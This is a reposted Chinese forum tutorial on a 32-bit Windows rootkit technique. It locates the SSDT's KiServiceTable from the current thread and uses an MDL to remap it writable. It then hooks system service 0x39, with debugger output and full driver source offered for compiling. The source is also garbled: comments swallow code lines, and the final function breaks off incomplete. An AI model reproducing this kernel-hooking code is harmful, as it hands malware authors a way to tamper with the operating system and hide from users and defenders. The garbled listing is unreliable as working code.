整合營銷服務商

          電腦端+手機端+微信端=數據同步管理

          免費咨詢熱線:

          ROOTKIT 核心技術—利用 NT!_MDL突破 SSDT的只讀訪問限制(一)

          rootkit 與惡意軟件開發中有一項基本需求,那就是hook Windows內核的系統服務描述符表(下稱 SSDT),把該表中的特定系統服務函數替換成我們自己實現的惡意例程;當然,為了確保系統能夠正常運作,我們需要事先用一個函數指針保存原始的系統服務,并且在我們惡意例程的邏輯中調用這個函數指針,此后才能進行 hook,否則損壞的內核代碼與數據結構將導致一個 BugCheck(俗稱的藍屏)。

          盡管 64 位 Windows 引入了像是 PatchGuard 的技術,實時監控關鍵的內核數據,包括但不限于 SSDT,IDT,GDT 等等,保證其完整性,但在 32 系統上修改 SSDT 是經常會遇到的場景,所以本文還是對此做出了介紹。

          OS 一般在系統初始化階段把 SSDT 設定成只讀訪問,這也是為了避免驅動與其它內核組件無意間改動到它;所以我們的首要任務就是設法繞過這個只讀屬性。

          在此之前,先復習一下與 SSDT 相關的幾個數據結構,并解釋定位 SSDT 的過程。

          我們知道,每個線程的 _KTHREAD 結構中,偏移 0xbc 字節處是一枚叫做ServiceTable的泛型指針(亦即 PVOID 或 void*),該字段指向一個全局的數據結構,叫做KeServiceDescriptorTable,它就是 SSDT。

          SSDT 中首個字段又是一枚指針,指向全局的數據結構KiServiceTable,而后者是一個數組,其內的每個成員都是一枚函數指針,持有相應的系統服務例程入口地址。

          有的時候,用言語來描述內核的一些概念過于抽象和詞窮,還是來看看下圖吧,它很形象地展示了上述關系:

          根據上圖我們有了思路:首先設法獲取當前運行線程的 _KTHREAD 結構,然后即可逐步定位到KiServiceTable,它就是我們最終

          hook 的對象!

          鑒于ServiceTable是一枚指針,持有另一枚指針KeServiceDescriptorTable的地址(亦即 “指向指針的指針”,往后我會不加以區分 “持有” 與 “指向” 術語),而 KiServiceTable 則是一個函數指針數組;

          在 Rootkit 源碼中,它們可以分別用三個全局變量(在驅動的入口點DriverEntry()之外聲明 )表示,如下圖,我使用了“自注釋” 的變量名,很易于理解;而且我把星號緊接類型保留字后面,避免與 “解引” 操作混淆(所以星號是一個重載的運算符):

          對于內核模式驅動程序開發人員來講,自己實現一個例程來獲取當前運行線程的 _KTHREAD 結構顯然并不輕松,幸運的是,文檔化的 PsGetCurrentThread()例程能夠完成這一任務。

          (事實上,PsGetCurrentThread()的反匯編代碼恰恰說明了這很簡單,如下代碼,僅僅只是把fs:[00000124h]地址處的內容移動到 eax 寄存器作為返回值,而且 KeGetCurrentThread() 的邏輯與它如出一撤!)

          1 kd> u PsGetCurrentThread

          2

          3 nt!PsGetCurrentThread:

          4 83c6cd19 64a124010000 mov eax,dword ptr fs:[00000124h]

          5 83c6cd1f c3 ret

          6 83c6cd20 90 nop

          7 83c6cd21 90 nop

          8 83c6cd22 90 nop

          9 83c6cd23 90 nop

          10 83c6cd24 90 nop

          11 nt!KeReadStateMutant:

          12 83c6cd25 8bff mov edi,edi

          13

          14

          15 kd> u KeGetCurrentThread

          16

          17 nt!PsGetCurrentThread:

          18 83c6cd19 64a124010000 mov eax,dword ptr fs:[00000124h]

          19 83c6cd1f c3 ret

          20 83c6cd20 90 nop

          21 83c6cd21 90 nop

          22 83c6cd22 90 nop

          23 83c6cd23 90 nop

          24 83c6cd24 90 nop

          老生常談,fs 寄存器通常用來存放 “段選擇符”,“段選擇符” 用來索引 GDT 中的一個 “段描述符”,后者有一個 “段基址” 屬性,也就是KPCR(Kernel Processor Control Region,內核處理器控制區域)結構(nt!_KPCR)的起始地址;

          nt!_KPCR偏移 0x120 字節處是一個 nt!_KPRCB 結構,后者偏移 0x4 字節處的 “CurrentThread” 字段就是一個 _KTHREAD 結構,每次線程切換都會更新該字段,這就是 fs:[00000124h]簡潔的背后隱藏的強大設計思想!

          注意,PsGetCurrentThread()返回一枚指向 _ETHREAD 結構的指針(亦即 “PETHREAD”,如你所見,微軟喜歡在指針這一概念上大玩 “頭文字 P” 游戲),而 _ETHREAD 結構的首個字段 Tcb 就是一個 _KTHREAD 實例——這意味著,我們無需計算額外的偏移量,只要考慮那個 ServiceTable 的偏移量 0xbc 即可,如下圖:

          而我們需要在這枚指針上執行加法運算,移動它到 ServiceTable 字段處,所以不能聲明一個 PETHREAD 變量來存儲PsGetCurrentThread() 的返回值,因為 “指針加上數值 n ” 會把指針當前持有的地址加上( n * 該指針所指的數據類型大小 )個字節—— 表達式

          1 PETHREAD ethread_ptr += 0xbc;

          實際上把起始地址加上了0xbc * sizeof(ETHREAD)個字節,遠遠超出了我們的預期......怎么辦呢?

          好辦,聲明一個字節型指針來保存PsGetCurrentThread()的返回值,同時把返回值強制轉型為一致的即可!如此一來,表達式

          1 BYTE* byte_ptr += 0xbc;

          就是把起始地址加上0xbc * sizeof(BYTE)個字節,符合我們的預期。注意,這要求我們添加相關的類型定義,如下圖:

          這表明 BYTE 與 無符號字符型等價(還等于微軟自家的 UCHAR),大小都是單字節;DWORD 則與無符號長整型等價,大小都是四字節——我們用一個 DWORD 變量存儲數組 KiServiceTable 的地址。

          接下來就是通過一系列的指針轉型和解引操作,定位到 KiServiceTable 的過程,再次凸顯了指針在 C 編程中的地位,無論是應用程序還是內核......經過如下圖的賦值運算,最終,全局變量os_ki_service_table持有了KiServiceTable的地址。

          注意,除了那個偏移量的宏定義外,所有的運算都在我們的驅動入口例程 DriverEntry() 中完成,而且為了支持動態卸載,我注冊了Unload() 回調,稍后你會看到 Unload() 的內部實現——大致就是卸載時取消對 KiServiceTable 的寫權限映射。

          為了驗證定位 KiServiceTable 過程的準確性,我添加了下列打印輸出語句,注意,DbgPrint() 的輸出需要在被調試機器上以 DbgView.exe 查看;抑或直接輸出到調試機器上的 windbg.exe/kd.exe 屏幕上:

          結合上圖,在調試器中進行驗證—— “dd” 命令可以按雙字(四字節)顯示給定虛擬內存地址處的內容;“dps” 命令可以按照函數符號顯示從給定內存地址開始的例程地址——它就是專為函數指針數組(例如 KiServiceTable)設計的,如下圖:

          現在,KiServiceTable 可以經由全局變量 os_ki_service_table 以只讀形式訪問,在我們 hook 它之前,需要設法更改為可寫。先來看看嘗試向只讀的 KiServiceTable 寫入時會發生什么事情,如下圖所示,我通過 RtlFillMemory() 試圖向 KiServiceTable 持有的第一個四字節(亦即系統服務 nt!NtAcceptConnectPort )填充 4 個 ASCII 字符 “A”:

          注意,RtlFillMemory() 的第一個參數是一個指針,指向要被填充的內存塊,后面二個參數分別是填充的長度與數據;由于我們的變量 os_ki_service_table 是 DWORD 型,所以我把它強制轉型為匹配的指針,再作為實參傳入......

          重新構建驅動,放入以調試模式運行的虛擬機中加載,宿主機中發生的情況如下圖所示,假設我們編譯好的 rootkit 名稱為UseMdlMappingSSDT.sys,圖中表明出現一個致命系統錯誤,代碼為 0x000000BE,圓括號里邊是攜帶錯誤信息的四個參數,在故障排查時會用到它們。

          事實上,這就是一個 BugCheck,當錯誤檢查發生時,如果目標系統連接著宿主機上的調試器,就斷入調試器,否則目標系統上將執行 KeBugCheckEx() 例程,后者會屏蔽掉所有處理器核上的中斷事件,然后將顯示器切換到低分辯率的 VGA 圖形模式下,繪制一個藍色背景,然后向用戶顯示 “檢查結果” 對應的停機代碼。這就是 “藍屏” 的由來。

          在此場景中,我們得到一個 0x000000BE 的停機代碼,將其作為關鍵字串搜索 MSDN 文檔,給出的描述如下圖:

          官方講解的很清楚:0x000000BE(ATTEMPTED_WRITE_TO_READONLY_MEMORY)停機代碼是由于驅動程序嘗試向一個只讀的內存段寫入導致的;第一個參數是試圖寫入的虛擬地址,第二個參數是描述該虛擬地址所在虛擬頁-物理頁的 PTE(頁表項)內容;后面兩個參數為保留未來擴展使用,所以被我截斷了。

          結合前面一張圖我們知道,嘗試寫入的虛擬地址為 0x83CAFF7C,描述映射它的物理頁的 PTE 內容是 0x03CAF121,后面兩個參數就目前而言可以忽略。

          如下圖所示,0x83CAFF7C就是KiServiceTable的起始地址;描述它的 PTE 經解碼后的標志部分有一個 “R” 屬性,表示只讀;BugCheck 時刻的棧回溯信息顯示,內核中通用的異常處理程序MmAccessFault()負責處理與內存訪問相關的錯誤,它是一個前端解析例程。

          如果異常或錯誤能夠處理,它就分發至實際的處理函數,否則,它調用KeBugCheck*()系列函數,該家族函數會根據調試器的存在與否作出決定——要么調用KiBugCheckDebugBreak() 斷入調試器;要么執行如前文所述的操作流程來繪制藍屏:

          至此確定了BugCheck是由于在驅動中調用RtlFillMemory()寫入只讀的內核內存引發的。另一個更強大的調試器擴展命令 “!analyze -v” 可以輸出詳細的信息,包括BugCheck “現場” 的指令地址和寄存器狀態、

          如下圖所示,導致BugCheck的指令地址為0x9ff990b4,該指令把 eax 寄存器的當前值(0x41414141,亦即我們調用RtlFillMemory()傳入的 4 個 ASCII 字符 “A”)寫入 ecx 寄存器持有的內存地址處,試圖把nt!NtAcceptConnectPort()的入口點地址替換成 0x41414141;另外它會給出驅動源碼中對應的行號——也就是第 137 行的RtlFillMemory() 調用:

          如你所見,微軟 C/C++ 編譯器(cl.exe)把RtlFillMemory()內聯在它的調用者內部,換言之,盡管有公開的文檔描述它的返回值,參數......具體的實現還是由編譯器說了算——為了性能優化,RtlFillMemory()直接實現為一條簡潔的數據移動指令,相關的參數由寄存器傳遞,沒有因函數調用創建與銷毀棧幀帶來的額外開銷!

          到目前為止,盡管我們通過一系列步驟從_KTHREAD定位到了系統服務指針表,但以常規手段卻無法 hook 其中的系統服務函數,因為它是只讀的。下一篇文章我將討論如何使用 MDL(Memory Descriptor List,內存描述符鏈表)來繞過這種限制,隨心所欲地讀寫KiServiceTable!

          本文由看雪論壇 shayi 原創轉載請注明來自看雪社區

          換高清大圖

          第一部分回顧,ROOTKIT 核心技術——利用 NT!_MDL(內存描述符鏈表)突破 SSDT(系統服務描述符表)的只讀訪問限制(一)

          本篇開始進入正題,因為涉及 MDL,所以相關的背景知識是必須的:

          nt!_MDL 代表一個 “內存描述符鏈表” 結構,它描述著用戶或內核模式虛擬內存(亦即緩沖區),其對應的那些物理頁被鎖定住,無法換出。

          因為一個虛擬的,地址上連續的用戶或內核緩沖區可能映射到多個不連續的物理頁,所以 nt!_MDL 定長(0x1c 字節)的頭部后緊跟數量可變的頁框號(Page Frame Numbers),MDL 描述的每個物理頁面都有一個頁框號,于是這些頁框號引用的物理地址范圍就對應了一片特定的用戶或內核模式緩沖區。

          通常虛擬和物理頁的大小為 4 KB,KiServiceTable 中的系統服務數量為 401 個,每函數的入口點占用 4 字節,整張調用表大小為 1.6 KB,通過 MDL 僅需要一張物理頁即可描述這個緩沖區;在這種情況下,該 MDL 后只有一個頁框號。

          盡管 nt!_MDL 是半透明的結構,不過在內核調試器以及 WRK 源碼面前還是被脫的一絲不掛,如下圖為 WRK 源碼的 “ntosdef.h” 頭文件中的定義,如你所見,稱為 “鏈表” 乃因它的首個字段 “Next” 是一枚指針,指向后一個 nt!_MDL 結構。

          對于我們 hook KiServiceTable 的場景而言,無需用到 Next 字段;那什么情況下會用到呢?

          Windows 中某些類型的驅動程序,例如網絡棧,它們支持 MDL 鏈,其內的多個 MDL 描述的那些緩沖區實際上是零散的,假設棧中每個驅動都分配一個 MDL,其后跟著一些物理頁框號來描述它們各自用到的虛擬緩沖區,那么這些緩沖區就通過每個 _MDL 的 Next 字段(指向下一個 MDL)鏈接起來。

          下面簡述 MDL 結構中,各字段的含義及用武之地!

          上圖還包含了 MdlFlags 字段的所有標志宏定義,這個 2 字節的字段可以是任意宏的組合,用于說明 MDL 的一些狀態與屬性。

          ● 對于描述用戶模式緩沖區的 MDL,其內的 Process 字段指向所屬進程的 EPROCESS 結構,進程中的這塊虛擬地址空間被 MDL 鎖住。

          ● 如果由 MDL 描述的緩沖區映射到內核虛擬地址空間中,_MDL 的 MappedSystemVa 字段指向內核模式緩沖區的基地址。

          ● 僅當 _MDL 的 MdlFlags 字段內設置了 MDL_MAPPED_TO_SYSTEM_VA 或MDL_SOURCE_IS_NONPAGED_POOL 比特位,MappedSystemVa 字段才有效。

          ● _MDL 的Size字段含有 MDL 頭部加上其后的整個 PFN 數組總大小。

          ● MDL 的 StartVa 字段和 ByteOffset 字段共同定義了由該 MDL 鎖定的原始緩沖區的起始地址。

          (原始緩沖區可能會映射到其它內核緩沖區或用戶緩沖區)

          ● StartVa 指向虛擬頁的起始地址,ByteOffset 包含實際從 StartVa 開始的緩沖區偏移量;

          ● MDL 的 ByteCount 字段描述由該 MDL 鎖定的緩沖區大小(以字節為單位);

          ● 對于我們要 hook 的 KiServiceTable 而言, KiServiceTable 這片內核緩沖區所在的虛擬頁起點由 StartVa 字段攜帶;

          ● ByteOffset 字段則攜帶 KiServiceTable 的頁內偏移量,ByteCount 字段攜帶 KiServiceTable 這片內核緩沖區的大小。

          如果你現在看得云里霧里,不用擔心,后面我們在調試時會把描述 KiServiceTable 的一個 nt!_MDL 結構實例拿出來分析,到時候你就會恍然大悟這些字段的設計思想了。

          通過編程方式使用 MDL 繞過 KiServiceTable 的只讀屬性,需要借助 Windows 執行體組件中的 I/O 管理器以及內存管理器導出的一些函數,大致流程如下:

          IoAllocateMdl() 分配一個 MDL 來描述 KiServiceTable -> MmProbeAndLockPages() 把該 MDL 描述的 KiServiceTable 所屬物理頁鎖定在內存中,并賦予對這張頁面的讀寫訪問權限(實際是將描述該頁面的 PTE 內容中的 “R” 標志位修改成 “W”)-> MmGetSystemAddressForMdlSafe() 將 KiServiceTable 映射到另一片內核虛擬地址區域(一般而言,位于 rootkit 被加載到的內核地址范圍內)。

          如此一來,KiServiceTable 的原始虛擬地址與新映射的虛擬地址都轉譯到相同的物理地址,而且描述新虛擬地址的 PTE 內容標記了寫權限比特位,這樣我們就能夠通過修改這個新的虛擬地址中的系統服務例程實現安全掛鉤 KiServiceTable,不會導致 BugCheck。

          如下所示,我把上述涉及的所有操作都封裝到一個自定義的函數 MapMdl() 里面。由于整個邏輯比較長,截圖分為多張說明:

          MapMdl() 在我們的 rootkit 入口點——DriverEntry() 中被調用,而在 DriverEntry() 外部聲明幾個與 MDL 相關的全局變量,它們被 MapMdl() 與 DriverEntry() 共享。

          注意,os_ki_service_table 存儲著 KiServiceTable 的地址(參見前一篇定位 KiServiceTable 的代碼),把它從 DWORD 轉換為泛型指針是為了符合 MapMdl() 中的 IoAllocateMdl() 調用時的形參要求;

          最后一個參數——表達式0x191 * 4——就是整個 KiServiceTable 緩沖區的大小:假若 MapMdl() 成功返回,則全局變量 mapped_ki_service_table 持有 KiServiceTable 新映射到的內核虛擬地址;這些全局變量都是 “自注釋” 的,pfn_array_follow_mdl 持有的地址處內容就是 MDL 描述的物理頁框號:

          MapMdl() 第一部分邏輯如下圖所示,局部變量 mapped_addr 預期存放 KiServiceTable新映射到的內核虛擬地址,并作為

          MapMdl() 的返回值給 DriverEntry(),進一步初始化全局變量 mapped_ki_service_table。

          注意,PVOID 可以賦給其它任意類型的指針,這是合法的。

          IoAllocateMdl() 返回一枚指針,指向分配好的 MDL,該 MDL 描述 KiServiceTable 的物理內存布局;這枚指針被用來初始化

          作為實參傳入的全局變量 mdl_ptr(mdl_pointer 是形參)。

          我添加的第一個軟件斷點就是為了研究 IoAllocateMdl() 分配的 MDL 其中 MappedSystemVa,StartVa,以及 MdlFlags 這些字段的內容——事實上,這些字段值會在 IoAllocateMdl() -> MmProbeAndLockPages() ->MmGetSystemAddressForMdlSafe() 調用鏈的每一階段發生變化,所以我總共添加了三個斷點在相關的檢查區域,有助于我們在后面的調試過程中深入理解 nt!_MDL的設計思想。

          我把使用 Windows 執行體組件例程進行的操作放入一個 try-except 塊內,以便處理可能出現的異常,except 塊內的邏輯如下圖,當違法訪問出現時,調用 IoFreeMdl() 釋放我們的 MDL 指針,然后 MapMdl() 返回 NULL,從而導致 DriverEntry() 打印出錯信息。

          關于 IoAllocateMdl() 的第二個參數,我們有必要進一步了解,所以我翻譯了 MSDN 文檔上的相關片段,如下:

          IoAllocateMdl() 的第二個參數指定要通過分配的 MDL 描述的緩沖區的大小。如果這個長度小于 4KB,那么映射它的 MDL 就只描述了一個被鎖定的物理頁面;

          如果長度是 4KB 的整數倍,那么映射它的 MDL 就描述了相應數量的物理頁面(通過緊接 MDL 后面的 PFN 數組)

          對于 Windows Server 2003,Windows XP,以及 Windows 2000,此例程支持的最大緩沖區長度(以字節為單位)是:

          PAGE_SIZE * (65535 - sizeof(MDL)) / sizeof(ULONG_PTR) (約 67 MB)

          對于 Windows Vista 和 Windows Server 2008,能夠傳入的最大緩沖區大小為:

          (2 gigabytes - PAGE_SIZE)

          對于 Windows 7 和 Windows Server 2008 R2,能夠傳入的最大緩沖區大小為:

          (4 gigabytes - PAGE_SIZE)

          執行此例程的 IRQL 要求為 <= DISPATCH_LEVEL

          MapMdl() 第二部分邏輯如下圖所示,它緊跟在第一個軟件斷點之后。我們檢查 MDL 中的 MDL_ALLOCATED_FIXED_SIZE 標志是否置位,該標志因調用 IoAllocateMdl() 傳入第二個參數指示固定大小而置位;

          MmProbeAndLockPages() 的第三個參數是實現寫訪問的關鍵所在,能否鎖定內存倒是其次,因為像 KiServiceTable 這種系統范圍的調用表,地位非常重要,如果被換出物理內存,系統豈不就崩潰了,所以坦白講我們只是因為需要寫權限才調用它的。

          第二個斷點緊跟其后,這樣就可以在調試器中檢查MmProbeAndLockPages() 是如何修改 MDL 中的標志;也可以使用編程手段檢查,如圖中的第二個 if 塊邏輯,事實上MmProbeAndLockPages() 調用會向 MdlFlags 字段內添加 MDL_WRITE_OPERATION

          與 MDL_PAGES_LOCKED 標志,這就是我們想要的結果!

          最后我們調用 MmGetSystemAddressForMdlSafe() 把該 MDL 描述的原始虛擬地址映射到內核空間的另一處,新地址通常位于驅動加載到的內核空間某處;局部變量 mapped_addr 持有這個新地址,最終用來返回并初始化全局變量 mapped_ki_service_table。

          同理我們可以檢查 MmGetSystemAddressForMdlSafe() 修改了哪些 MDL 結構成員,對于理解 MDL 的工作機理非常關鍵。

          MapMdl() 第三部分邏輯如下圖所示,我們檢查 MmGetSystemAddressForMdlSafe() 是否多添加了一個

          MDL_MAPPED_TO_SYSTEM_VA 標志,然后以 DBG_TRACE 宏打印信息。

          全局變量 backup_mdl_ptr 是我們在調用 IoAllocateMdl() 就做好備份的 MDL 指針,它與 mdl_ptr 指向同一個 nt!_MDL 結構。

          接下來的邏輯有助于你理解 MDL 頭部后面的 PFN 數組:mdl_ptr 指向 nt!_MDL 結構頭部,把它加上 1 ,意味著把它持有的內存地址加上 1 * sizeof(MDL) 個字節,于是就定位到了 MDL 頭部后面的 PFN 數組起始地址——現在全局變量

          pfn_array_follow_mdl(一枚 PPFN_NUMBER 型指針)持有這個地址;正如圖中倒數第三條 DbgPrint() 調用所言——

          MDL 結構后偏移 xx (0x1b)地址處是一個 PFN 數組,用來存儲該 MDL 描述的虛擬緩沖區映射到的物理頁框號。

          最后一條 DbgPrint() 調用通過解引 pfn_array_follow_mdl 來輸出該地址處存放的物理頁框號。

          在 return mapped_addr; 語句的后面,則是 try-except 塊的異常捕獲邏輯,請參前面截圖。

          現在,程序訪問可讀寫的 mapped_ki_service_table 與只讀的os_ki_service_table 都轉譯到同一塊物理內存,后者就是實際上存儲 KiServiceTable 的地方。

          接下來,我們用一枚函數指針保存 KiServiceTable 中某個原始的系統服務,然后用我們的鉤子例程地址替換掉該位置處的原始系統服務,而鉤子例程內部僅僅是調用原始系統服務,實現安全轉發。

          為了演示簡單起見,我選取 KiServiceTable 中 0x39(57)號例程,因為它的參數只有一個,方便我們的鉤子例程仿效同樣的參數聲明——內核系統服務調度器(nt!KiFastCallEntry())并不知道它調用的目標系統服務已經被替換成我們的鉤子例程,所以他會以既定方式使用鉤子例程的返回值和輸出參數。在這種情況下,只要我們的鉤子例程原型聲明與被掛鉤系統服務有細微差別,都可能導致非預期的內核錯誤而藍屏,顯然,那些參數既多又復雜的系統服務不適合我用來演示。

          此外,某些系統服務接收的參數類型的定義不在 wdm.h / ntddk.h 頭文件內,講明了這些數據類型不是給驅動開發人員使用的,僅供內核組件使用,為了引入包含該定義的頭文件則會碰到復雜的頭文件嵌套包含問題,其麻煩程度絲毫不遜于 Linux 平臺上的 “二進制軟件包依賴性地獄” 。

          57 號系統服務例程亦即 nt!NtCompleteConnectPort(),有且僅有一個文檔化的參數,WRK 源碼中的相關定義如下圖:

          所以我們的鉤子例程只要完全仿效它的返回值類型與形參類型即可,然后在內部調用指向原始例程的函數指針實施重定向。

          通過 typedef 定義一個函數指針,其返回值類型與形參類型與NtCompleteConnectPort() 一致,然后聲明一個該函數指針實例。相關代碼如下圖:

          全局變量 ori_sys_service_ptr 持有 NtCompleteConnectPort() 的入口點地址,前者是在我們的 rootkit 入口點 DriverEntry() 中初始化的;保存這枚指針后就可以用鉤子例程替換NtCompleteConnectPort(),如下圖所示:

          需要指出一點,盡管把指針名稱 mapped_ki_service_table 當作數組名稱來訪問 KiServiceTable是被 C 語言核心規范允許的,但是上圖那段代碼在編譯器會產生警告,如下:

          1>warnings in directory d:\kmdsource_use_mdl_mapping_ssdt

          1>d:\kmdsource_use_mdl_mapping_ssdt\usemdlmappingssdt.c(155) : warning C4047: '=' : 'OriginalSystemServicePtr' differs in levels of indirection from 'DWORD'

          1>d:\kmdsource_use_mdl_mapping_ssdt\usemdlmappingssdt.c(157) : warning C4047: '=' : 'DWORD' differs in levels of indirection from 'NTSTATUS (__stdcall *)(HANDLE)'

          ori_sys_service_ptr 是一枚 OriginalSystemServicePtr 型函數指針( NTSTATUS (__stdcall *)(HANDLE) ),而 mapped_ki_service_table 是普通指針,它的數組名稱表示法結合數組下標,實際上被視為一個存儲對應元素的 DWORD 變量,兩者的間接尋址級別不同。

          就目前而言我們可以無視這兩條警告,因為含有這段代碼的 rootkit 源碼在編譯后確實能夠安全地 hook 目標系統服務函數,系統正常運作不會有問題,類似的警告可以通過指定警告級別的編譯選項來過濾掉。

          講到這里你一定會嫌我既羅嗦又婆婆媽媽的,那么來看下面這一張簡明扼要的全局概覽,它解釋了 MDL 是如何把一片緩沖區映射到另一處,并描述兩者相同的物理布局,注意,圖中的組織結構是執行完 MmGetSystemAddressForMdlSafe() 后才會產生的。

          注意,上圖中我沒有給出 PFN 數組中第一個成員攜帶的具體 20 位物理頁框號,原始和映射到的新內核緩沖區,以及實際 RAM中的物理頁框號,而“byte within page”就是頁內特定偏移處開始的字節序列,亦即系統服務例程入口點的實際物理地址!

          這些 “占位符” 我會在第三部分的調試單元內給出,畢竟,驅動開發與調試是相輔相成的,只有理論沒有實踐怎么行,只有源碼沒有調試怎知真理,不然,任何人對于內存的需求就真的不會超過 640 K 了.......

          最后貼上整個源碼,方便各位編譯后調試:

          #include

          #include "datatype.h"

          #include "dbgmsg.h"

          #define ETHREAD_OFFSET_SERVICE_TABLE 0xbc

          PMDL mdl_ptr;

          PMDL backup_mdl_ptr;

          PPFN_NUMBER pfn_array_follow_mdl;

          short mdl_header_length = sizeof(MDL);

          DWORD* mapped_ki_service_table;

          void** os_SSDT_ptr;

          DWORD* os_SSDT;

          DWORD os_ki_service_table;

          typedef NTSTATUS(*OriginalSystemServicePtr)

          (

          HANDLE PortHandle

          );

          OriginalSystemServicePtr ori_sys_service_ptr;

          NTSTATUS our_hooking_routine(HANDLE PortHandle)

          {

          return (ori_sys_service_ptr(PortHandle));

          }

          PVOID MapMdl(PMDL mdl_pointer, PVOID VirtualAddress, ULONG Length);

          void UnMapMdl(PMDL mdl_pointer, PVOID baseaddr);//動態卸載后,dps 轉儲 mapped_ki_service_table 變量的輸出應該不是系統服務例程了 VOID Unload(PDRIVER_OBJECT driver)

          {

          DBG_TRACE("OnUnload", "卸載前首先取消 MDL 對 KiServiceTable 的映射");

          UnMapMdl(mdl_ptr, mapped_ki_service_table);

          DBG_TRACE("OnUnload", "UseMdlMappingSSDT.sys 已卸載");

          return;

          }

          NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)

          {

          BYTE* currentETHREADpointer = NULL;

          driver->DriverUnload = Unload;

          currentETHREADpointer = (UCHAR*)PsGetCurrentThread();

          os_SSDT_ptr = (void**)(currentETHREADpointer + ETHREAD_OFFSET_SERVICE_TABLE);

          os_SSDT = *(DWORD**)os_SSDT_ptr;

          os_ki_service_table = *(DWORD*)os_SSDT;

          mapped_ki_service_table = MapMdl(mdl_ptr, (PVOID)os_ki_service_table, 0x191 * 4);

          if (mapped_ki_service_table == NULL) {

          DBG_TRACE("Driver Entry", ".........無法分配 MDL 來描述 OS 的 SSDT,并把它映射到另一個內核地址對其掛鉤 和修改.......");

          }

          DbgPrint("我們把原始的 OS 系統服務指針表以寫權限映射到的新內核空間為: %p\r\n", mapped_ki_service_table);

          DbgPrint("解引這個新內核地址,應該就是表中的第一個系統服務的地址,或者用調試器命令 !dps 檢查兩者是否為同一張調用表: %p\r\n", *mapped_ki_service_table);

          //0x39 號系統服務為 nt!NtCompleteConnectPort() ,因為它只有一個參數,而且是文檔化的,所以較易 hook 并重定向 ori_sys_service_ptr = mapped_ki_service_table[0x39];

          mapped_ki_service_table[0x39] = our_hooking_routine;

          DbgPrint("我們把 0x39 號系統服務掛鉤為: %p\r\n", mapped_ki_service_table[0x39]);

          return STATUS_SUCCESS;

          }

          PVOID MapMdl(PMDL mdl_pointer, PVOID VirtualAddress, ULONG Length)

          {

          PVOID mapped_addr;

          DbgPrint(" _KTHREAD.ServiceTable 自身的地址: %p\r\n", &os_SSDT_ptr);

          DbgPrint(" ServiceTable 指向: %p\r\n", os_SSDT_ptr);

          DbgPrint(" ServiceTable 所指處的內容: %p\r\n", *os_SSDT_ptr);

          DbgPrint(" SSDT,亦即 nt!KeServiceDescriptorTable 地址,與 ServiceTable 所指處內容一致: %p\r\n", os_SSDT);

          DbgPrint(" nt!KeServiceDescriptorTable 所指處的內容: %X\r\n", *os_SSDT);

          DbgPrint(" KiServiceTable 地址,與上面一致: %X\r\n", os_ki_service_table);

          DBG_TRACE("MapMdl", ".......表中的系統服務地址可以通過 dps 轉儲 os_ki_service_table 查看!..........r\n");

          try {

          mdl_pointer = IoAllocateMdl(VirtualAddress, 0x191 * 4, FALSE, FALSE, NULL);

          if (mdl_pointer == NULL) {

          DBG_TRACE("MapMdl", ".........無法分配一個 MDL 來描述原始的 KiServiceTable !..........\r\n");

          return NULL;

          }

          DbgPrint("分配的 MDL 指針自身的地址: %p ,可用 dd 轉儲它持有的地址\r\n", &mdl_pointer);

          DbgPrint("分配的 MDL 指針指向一個 _MDL 的地址: %p,與 dd %p 的輸出一致,它用來描述原始的 KiServiceTable\r\n", mdl_pointer, &mdl_pointer);

          backup_mdl_ptr = mdl_pointer;

          // 這里設置的兩個斷點是為了觀察調用前后的 _MDL.MdlFlags 如何變化 __asm {

          int 3;

          }

          if (mdl_pointer->MdlFlags & MDL_ALLOCATED_FIXED_SIZE)

          {

          DBG_TRACE("MapMdl", ".....IoAllocateMdl() 分配的 MDL 結構有固定大小(MDL_ALLOCATED_FIXED_SIZE)........\r\n");

          }

          MmProbeAndLockPages(mdl_pointer, KernelMode, IoWriteAccess);

          __asm {

          int 3;

          }

          if ((mdl_pointer->MdlFlags & MDL_ALLOCATED_FIXED_SIZE) &&

          (mdl_pointer->MdlFlags & MDL_WRITE_OPERATION) &&

          (mdl_pointer->MdlFlags & MDL_PAGES_LOCKED))

          {

          DBG_TRACE("MapMdl", " MmProbeAndLockPages() 以寫權限(MDL_WRITE_OPERATION)把 MDL 描述的原始 KiServiceTable 所在頁面鎖定到物理內存中(MDL_PAGES_LOCKED)\r\n");

          }

          mapped_addr = MmGetSystemAddressForMdlSafe(mdl_pointer, NormalPagePriority);

          // 此處順便觀察 _MDL.MdlFlags 的變化 __asm {

          int 3;

          }

          if (

          (mdl_pointer->MdlFlags & MDL_ALLOCATED_FIXED_SIZE) &&

          (mdl_pointer->MdlFlags & MDL_WRITE_OPERATION) &&

          (mdl_pointer->MdlFlags & MDL_PAGES_LOCKED) &&

          (mdl_pointer->MdlFlags & MDL_MAPPED_TO_SYSTEM_VA)

          )

          {

          DBG_TRACE("MapMdl", " MmGetSystemAddressForMdlSafe() 把 MDL 結構描述的原始 KiServiceTable 映射到另一個內核虛擬地址(MDL_MAPPED_TO_SYSTEM_VA)\r\n");

          }

          DbgPrint("MmGetSystemAddressForMdlSafe() 調用依然可以通過原始的 MDL 指針訪問 _MDL 的地址: %p\r\n", mdl_pointer);

          DbgPrint("也可以通過備份的 MDL 指針訪問 _MDL 的地址: %p,這都說明 MDL 結構尚未被釋放,\r\n", backup_mdl_ptr);

          pfn_array_follow_mdl = (PPFN_NUMBER)(mdl_pointer + 1);

          DbgPrint(" MDL 結構后偏移 %2x 地址處是一個 PFN 數組,用來存儲該 MDL 描述的虛擬緩沖區映射到的物理頁框號\r\n", mdl_header_length);

          DbgPrint(" 該 PFN 數組的起始地址為:%p\r\n", pfn_array_follow_mdl);

          DbgPrint(" 第一個物理頁框號為:%p\r\n", *pfn_array_follow_mdl);

          return mapped_addr;

          }

          except (STATUS_ACCESS_VIOLATION) {

          IoFreeMdl(mdl_pointer);

          return NULL;

          }

          }

          void UnMapMdl(PMDL mdl_pointer, PVOID baseaddr)

          {

          if (mdl_pointer != backup_mdl_ptr) {

          DBG_TRACE("UnMapMdl", ".......先解鎖備份 MDL 映射的頁面,然后釋放備份的 MDL........");

          MmUnlockPages(backup_mdl_ptr); // 此例程的效果是,無法通過映射的系統地址來訪問 KiServiceTable,且 _MDL 結構中各字段已發生變化, IoFreeMdl(backup_mdl_ptr); // 此例程的效果是,MDL 指針不再持有 _MDL 結構的地址 if (backup_mdl_ptr == NULL) {

          DBG_TRACE("UnMapMdl", ".............解鎖頁面,釋放備份 MDL 完成!................");

          }

          return;

          }

